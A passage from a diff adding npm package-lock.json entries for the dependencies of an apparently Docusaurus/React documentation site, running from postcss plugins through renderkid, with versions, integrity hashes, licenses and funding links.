"sha512-sB+Ya++3Xj1WaT9+5LOOdirAxP7dJZms3GRcYheSPi1PiTMigsxHAdkrbItHxwYHr4kt1zL7mmcHstgMYT+aiA==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-replace-overflow-wrap": { + "version": "4.0.0", + "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==", + "license": "MIT", + "peerDependencies": { + "postcss": "^8.0.3" + } + }, + "node_modules/postcss-selector-not": { + "version": "8.0.1", + "integrity": "sha512-kmVy/5PYVb2UOhy0+LqUYAhKj7DUGDpSWa5LZqlkWJaaAV+dxxsOG3+St0yNLu6vsKD7Dmqx+nWQt0iil89+WA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-selector-not/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.1.4", + "integrity": "sha512-bIoJLOmjCO1S9XdY/DcnR5hJxvrDir1PbGChrzXG3vw0/FOliy/fA3dmdhQ441kah4gKv+TwckGzex6wNS5cnQ==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-sort-media-queries": { + "version": "5.2.0", + "integrity": "sha512-AZ5fDMLD8SldlAYlvi8NIqo0+Z8xnXU2ia0jxmuhxAU+Lqt9K+AlmLNJ/zWEnE9x+Zx3qL3+1K20ATgNOr3fAA==", + "license": "MIT", + "dependencies": { + "sort-css-media-queries": "2.2.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.4.23" + } + }, + "node_modules/postcss-svgo": { + "version": "6.0.3", + "integrity": "sha512-dlrahRmxP22bX6iKEjOM+c8/1p+81asjKT+V5lrgOH944ryx/OHpclnIbGsKVd3uWOXFLYJwCVf0eEkJGvO96g==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "svgo": "^3.2.0" + }, + "engines": { + "node": "^14 || ^16 || >= 18" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "6.0.4", + "integrity": "sha512-K38OCaIrO8+PzpArzkLKB42dSARtC2tmG6PvD4b1o1Q2E9Os8jzfWFfSy/rixsHwohtsDdFtAWGjFVFUdwYaMg==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.16" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "license": "MIT" + }, + "node_modules/postcss-zindex": { + "version": "6.0.2", + "integrity": "sha512-5BxW9l1evPB/4ZIc+2GobEBoKC+h8gPGCMi+jxsYvd2x0mjq7wazk6DrP71pStqxE9Foxh5TVnonbWpFZzXaYg==", + "license": "MIT", + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/pretty-error": { + "version": "4.0.0", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "license": "MIT", + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "node_modules/pretty-time": { + "version": "1.1.0", + "integrity": "sha512-28iF6xPQrP8Oa6uxE6a1biz+lWeTOAPKggvjB8HAs6nVMKZwf5bG++632Dx614hIWgUPkgivRfG+a8uAXGTIbA==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/prism-react-renderer": { + "version": "2.4.1", + "integrity": "sha512-ey8Ls/+Di31eqzUxC46h8MksNuGx/n0AAC8uKpwFau4RPDYLuE3EXTp8N8G2vX2N7UC/+IXeNUnlWBGGcAG+Ig==", + "license": "MIT", + "dependencies": { + "@types/prismjs": "^1.26.0", + "clsx": "^2.0.0" + }, + "peerDependencies": { + "react": ">=16.0.0" + } + }, + "node_modules/prismjs": { + "version": "1.30.0", + "integrity": "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "license": "MIT" + }, + "node_modules/prompts": { + "version": "2.4.2", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "license": "MIT", + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/property-information": { + "version": "7.2.0", + "integrity": "sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/proto-list": { + "version": "1.2.4", + "integrity": "sha512-vtK/94akxsTMhe0/cbfpR+syPuszcuwhqVjJq26CuNDgFGj682oRBXOP5MJpv2r7JtE8MsiepGIqvvOTBwn2vA==", + "license": "ISC" + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/pupa": { + "version": "3.3.0", + "integrity": "sha512-LjgDO2zPtoXP2wJpDjZrGdojii1uqO0cnwKoIoUzkfS98HDmbeiGmYiXo3lXeFlq2xvne1QFQhwYXSUCLKtEuA==", + "license": "MIT", + "dependencies": { + "escape-goat": "^4.0.0" + }, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pvtsutils": { + "version": "1.3.6", + "integrity": "sha512-PLgQXQ6H2FWCaeRak8vvk1GW462lMxB5s3Jm673N82zI4vqtVUPuZdffdZbPDFRoU8kAhItWFtPCWiPpp4/EDg==", + "license": "MIT", + "dependencies": { + "tslib": "^2.8.1" + } + }, + "node_modules/pvutils": { + "version": "1.1.5", + "integrity": "sha512-KTqnxsgGiQ6ZAzZCVlJH5eOjSnvlyEgx1m8bkRJfOhmGRqfo5KLvmAlACQkrjEtOQ4B7wF9TdSLIs9O90MX9xA==", + "license": "MIT", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/qs": { + "version": "6.15.3", + "integrity": "sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==", + "license": "BSD-3-Clause", + "dependencies": { + "es-define-property": "^1.0.1", + "side-channel": "^1.1.1" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/quick-lru": { + "version": "5.1.1", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/range-parser": { + "version": "1.2.0", + "integrity": "sha512-kA5WQoNVo4t9lNx2kQNFCxKeBl5IbbSNBl1M/tLkw9WCn+hxNBAW5Qh8gdhs63CJnhjJ2zQWFoqPJP2sK1AV5A==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.3", + "integrity": "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.4.24", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/bytes": { + "version": "3.1.2", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/rc": { + "version": "1.2.8", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/rc/node_modules/ini": { + "version": "1.3.8", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "license": "ISC" + }, + "node_modules/rc/node_modules/strip-json-comments": { + "version": "2.0.1", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react": { + "version": "18.3.1", + "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "18.3.1", + "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.2" + }, + "peerDependencies": { + "react": "^18.3.1" + } + }, + "node_modules/react-fast-compare": { + "version": "3.2.2", + "integrity": "sha512-nsO+KSNgo1SbJqJEYRE9ERzo7YtYbou/OqjSQKxV7jcKox7+usiUVZOAC+XnDOABXggQTno0Y1CpVnuWEc1boQ==", + "license": "MIT" + }, + "node_modules/react-helmet-async": { + "name": "@slorber/react-helmet-async", + "version": "1.3.0", + "integrity": "sha512-e9/OK8VhwUSc67diWI8Rb3I0YgI9/SBQtnhe9aEuK6MhZm7ntZZimXgwXnd8W96YTmSOb9M4d8LwhRZyhWr/1A==", + "license": "Apache-2.0", + "dependencies": { + "@babel/runtime": "^7.12.5", + "invariant": "^2.2.4", + "prop-types": "^15.7.2", + "react-fast-compare": "^3.2.0", + "shallowequal": "^1.1.0" + }, + "peerDependencies": { + "react": "^16.6.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.6.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/react-is": { + "version": "16.13.1", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/react-json-view-lite": { + "version": "2.5.0", + "integrity": "sha512-tk7o7QG9oYyELWHL8xiMQ8x4WzjCzbWNyig3uexmkLb54r8jO0yH3WCWx8UZS0c49eSA4QUmG5caiRJ8fAn58g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/react-loadable": { + "name": "@docusaurus/react-loadable", + "version": "6.0.0", + "integrity": "sha512-YMMxTUQV/QFSnbgrP3tjDzLHRg7vsbMn8e9HAa8o/1iXoiomo48b7sk/kkmWEuWNDPJVlKSJRB6Y2fHqdJk+SQ==", + "license": "MIT", + "dependencies": { + "@types/react": "*" + }, + "peerDependencies": { + "react": "*" + } + }, + "node_modules/react-loadable-ssr-addon-v5-slorber": { + "version": "1.0.3", + "integrity": "sha512-GXfh9VLwB5ERaCsU6RULh7tkemeX15aNh6wuMEBtfdyMa7fFG8TXrhXlx1SoEK2Ty/l6XIkzzYIQmyaWW3JgdQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.3" + }, + "engines": { + "node": ">=10.13.0" + }, + "peerDependencies": { + "react-loadable": "*", + "webpack": ">=4.41.1 || 5.x" + } + }, + "node_modules/react-player": { + "version": "2.16.1", + "integrity": "sha512-mxP6CqjSWjidtyDoMOSHVPdhX0pY16aSvw5fVr44EMaT7X5Xz46uQ4b/YBm1v2x+3hHkB9PmjEEkmbHb9PXQ4w==", + "license": "MIT", + "dependencies": { + "deepmerge": "^4.0.0", + "load-script": "^1.0.0", + "memoize-one": "^5.1.1", + "prop-types": "^15.7.2", + "react-fast-compare": "^3.0.1" + }, + "peerDependencies": { + "react": ">=16.6.0" + } + }, + "node_modules/react-router": { + "version": "5.3.4", + "integrity": "sha512-Ys9K+ppnJah3QuaRiLxk+jDWOR1MekYQrlytiXxC1RyfbdsZkS5pvKAzCCr031xHixZwpnsYNT5xysdFHQaYsA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "hoist-non-react-statics": "^3.1.0", + "loose-envify": "^1.3.1", + "path-to-regexp": "^1.7.0", + "prop-types": "^15.6.2", + "react-is": "^16.6.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-router-config": { + "version": "5.1.1", + "integrity": "sha512-DuanZjaD8mQp1ppHjgnnUnyOlqYXZVjnov/JzFhjLEwd3Z4dYjMSnqrEzzGThH47vpCOqPPwJM2FtthLeJ8Pbg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.1.2" + }, + "peerDependencies": { + "react": ">=15", + "react-router": ">=5" + } + }, + "node_modules/react-router-dom": { + "version": "5.3.4", + "integrity": "sha512-m4EqFMHv/Ih4kpcBCONHbkT68KoAeHN4p3lAGoNryfHi0dMy0kCzEZakiKRsvg5wHZ/JLrLW8o8KomWiz/qbYQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "loose-envify": "^1.3.1", + "prop-types": "^15.6.2", + "react-router": "5.3.4", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "license": "MIT", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/recma-build-jsx": { + "version": "1.0.0", + "integrity": "sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-util-build-jsx": "^3.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/recma-jsx": { + "version": "1.0.1", + "integrity": "sha512-huSIy7VU2Z5OLv6oFLosQGGDqPqdO1iq6bWNAdhzMxSJP7RAso4fCZ1cKu8j9YHCZf3TPrq4dw3okhrylgcd7w==", + "license": "MIT", + "dependencies": { + "acorn-jsx": "^5.0.0", + "estree-util-to-js": "^2.0.0", + "recma-parse": "^1.0.0", + "recma-stringify": "^1.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + }, + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/recma-parse": { + "version": "1.0.0", + "integrity": "sha512-OYLsIGBB5Y5wjnSnQW6t3Xg7q3fQ7FWbw/vcXtORTnyaSFscOtABg+7Pnz6YZ6c27fG1/aN8CjfwoUEUIdwqWQ==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "esast-util-from-js": "^2.0.0", + "unified": "^11.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/recma-stringify": { + "version": "1.0.0", + "integrity": "sha512-cjwII1MdIIVloKvC9ErQ+OgAtwHBmcZ0Bg4ciz78FtbT8In39aAYbaA7zvxQ61xVMSPE8WxhLwLbhif4Js2C+g==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-util-to-js": "^2.0.0", + "unified": "^11.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/reflect-metadata": { + "version": "0.2.2", + "integrity": "sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==", + "license": "Apache-2.0" + }, + "node_modules/regenerate": { + "version": "1.4.2", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "license": "MIT" + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.2.2", + "integrity": "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g==", + "license": "MIT", + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regexpu-core": { + "version": "6.4.0", + "integrity": "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA==", + "license": "MIT", + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.2.2", + "regjsgen": "^0.8.0", + "regjsparser": "^0.13.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.2.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/registry-auth-token": { + "version": "5.1.1", + "integrity": "sha512-P7B4+jq8DeD2nMsAcdfaqHbssgHtZ7Z5+++a5ask90fvmJ8p5je4mOa+wzu+DB4vQ5tdJV/xywY+UnVFeQLV5Q==", + "license": "MIT", + "dependencies": { + "@pnpm/npm-conf": "^3.0.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/registry-url": { + "version": "6.0.1", + "integrity": "sha512-+crtS5QjFRqFCoQmvGduwYWEBng99ZvmFvF+cUJkGYF1L1BfU8C6Zp9T7f5vPAwyLkUExpvK+ANVZmGU49qi4Q==", + "license": "MIT", + "dependencies": { + "rc": "1.2.8" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/regjsgen": { + "version": "0.8.0", + "integrity": "sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==", + "license": "MIT" + }, + "node_modules/regjsparser": { + "version": "0.13.2", + "integrity": "sha512-NgRBy2Nx/bE+9F27nVHnqcN5HjyLmecqsqx2PJHu3/IEtADD4WuxuXIVExD5PoSDFVrl78dOonfcOe5O+5nbzQ==", + "license": "BSD-2-Clause", + "dependencies": { + "jsesc": "~3.1.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/rehype-katex": { + "version": "7.0.1", + "integrity": "sha512-OiM2wrZ/wuhKkigASodFoo8wimG3H12LWQaH8qSPVJn9apWKFSH3YOCtbKpBorTVw/eI7cuT21XBbvwEswbIOA==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/katex": "^0.16.0", + "hast-util-from-html-isomorphic": "^2.0.0", + "hast-util-to-text": "^4.0.0", + "katex": "^0.16.0", + "unist-util-visit-parents": "^6.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-raw": { + "version": "7.0.0", + "integrity": "sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "hast-util-raw": "^9.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-recma": { + "version": "1.0.0", + "integrity": "sha512-lqA4rGUf1JmacCNWWZx0Wv1dHqMwxzsDWYMTowuplHF3xH0N/MmrZ/G3BDZnzAkRmxDadujCjaKM2hqYdCBOGw==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/hast": "^3.0.0", + "hast-util-to-estree": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/remark-directive": { + "version": "3.0.1", + "integrity": "sha512-gwglrEQEZcZYgVyG1tQuA+h58EZfq5CSULw7J90AFuCTyib1thgHPoqQ+h9iFvU6R+vnZ5oNFQR5QKgGpk741A==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-directive": "^3.0.0", + "micromark-extension-directive": "^3.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-emoji": { + "version": "4.0.1", + "integrity": "sha512-fHdvsTR1dHkWKev9eNyhTo4EFwbUvJ8ka9SgeWkMPYFX4WoI7ViVBms3PjlQYgw5TLvNQso3GUB/b/8t3yo+dg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.2", + "emoticon": "^4.0.1", + "mdast-util-find-and-replace": "^3.0.1", + "node-emoji": "^2.1.0", + "unified": "^11.0.4" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/remark-frontmatter": { + "version": "5.0.0", + "integrity": "sha512-XTFYvNASMe5iPN0719nPrdItC9aU0ssC4v14mH1BCi1u0n1gAocqcujWUrByftZTbLhRtiKRyjYTSIOcr69UVQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-frontmatter": "^2.0.0", + "micromark-extension-frontmatter": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-gfm": { + "version": "4.0.1", + "integrity": "sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-gfm": "^3.0.0", + "micromark-extension-gfm": "^3.0.0", + "remark-parse": "^11.0.0", + "remark-stringify": "^11.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-math": { + "version": "6.0.0", + "integrity": "sha512-MMqgnP74Igy+S3WwnhQ7kqGlEerTETXMvJhrUzDikVZ2/uogJCb+WHUg97hK9/jcfc0dkD73s3LN8zU49cTEtA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-math": "^3.0.0", + "micromark-extension-math": "^3.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-mdx": { + "version": "3.1.1", + "integrity": "sha512-Pjj2IYlUY3+D8x00UJsIOg5BEvfMyeI+2uLPn9VO9Wg4MEtN/VTIq2NEJQfde9PnX15KgtHyl9S0BcTnWrIuWg==", + "license": "MIT", + "dependencies": { + "mdast-util-mdx": "^3.0.0", + "micromark-extension-mdxjs": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-parse": { + "version": "11.0.0", + "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-rehype": { + "version": "11.1.2", + "integrity": "sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "mdast-util-to-hast": "^13.0.0", + "unified": "^11.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-stringify": { + "version": "11.0.0", + "integrity": "sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-to-markdown": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/renderkid": { + "version": "3.0.0", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "license": 